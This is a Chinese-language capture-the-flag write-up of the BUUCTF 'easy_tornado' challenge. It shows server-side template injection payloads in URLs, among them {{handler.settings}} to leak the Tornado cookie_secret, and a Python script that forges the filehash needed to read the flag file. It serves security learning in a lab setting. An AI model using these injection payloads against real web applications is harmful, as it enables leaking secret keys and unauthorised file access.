非同步IO:async/await
[護網杯 2018]easy_tornado
首先第一個頁面:
開啟網頁發現了三個連結,一個一個點開檢視:
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
瞭解tornado:
tornado是個python語言下的模板
根據url中的引數filename和filehash,我們可以大體明白解題方向便是通過驗證訪問/fllllllllllllag
並且通過hint.txt,我們可以知道我們需要獲取cookie_secret來加密得到filehash。
怎麼樣才能得到cookie_secret呢?
根據SSTI模板注入備忘錄進行簡單測試:
Tornado (Python):
{{7}}
${7*3}
{{7*7}}
{{"%'()*-/=[\]_|}}常見特殊符號
payload:
http://f9bd196b-a08b-49a7-a05b-7ebe550d4f5e.node4.buuoj.cn:81/error?msg={{7}}
當我們使用這條語句測試時,頁面回顯7
而當我們使用下面三條語句時,頁面回顯全都是ORZ,過濾了一堆常見符號
這裡嘗試一下能不能讀取配置檔案
payload:
http://f9bd196b-a08b-49a7-a05b-7ebe550d4f5e.node4.buuoj.cn:81/error?msg={{config}}
頁面回顯500:Internal Server Error
萬不得已,下載原始碼
基本操作不行,於是將原始碼下載後全域性搜尋cookie_secret
我們可以看到cookie_secret是handler.application.settings的鍵值,
但是我們直接搜尋handler.application.settings我們找不到任何東西,所以這裡我們尋找handler
找到了一點線索,這裡先將RequestHandler型別賦值為self並且賦值給handler,RequestHandler和handler是緊密相關的。
於是我翻開了RequestHandler的宣告,裡面有句話
"""An alias for `self.application.settings <Application.settings>`."""
原來如此,那這樣便可以用handler.settings來訪問cookie_secret
payload:
http://f9bd196b-a08b-49a7-a05b-7ebe550d4f5e.node4.buuoj.cn:81/error?msg={{handler.settings}}
最後的md5加密:
filename: /fllllllllllllag
cookie_secret: 78115b4c-fc01-435c-98dd-3e86ed49221b
這裡可以直接手工用hackbar加密得到結果,也可以使用如下的指令碼進行加密
# _*_coding:utf-8_*_
import hashlib
hash = hashlib.md5()
![](https://img2020.cnblogs.com/blog/2617104/202111/2617104-20211104180856817-1706326752.png)
filename='/fllllllllllllag'
cookie_secret="78115b4c-fc01-435c-98dd-3e86ed49221b"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
最終的payload:
http://f9bd196b-a08b-49a7-a05b-7ebe550d4f5e.node4.buuoj.cn:81/file?filename=/fllllllllllllag&filehash=bb3ba30eef4971be678e7acb48661755
得到flag: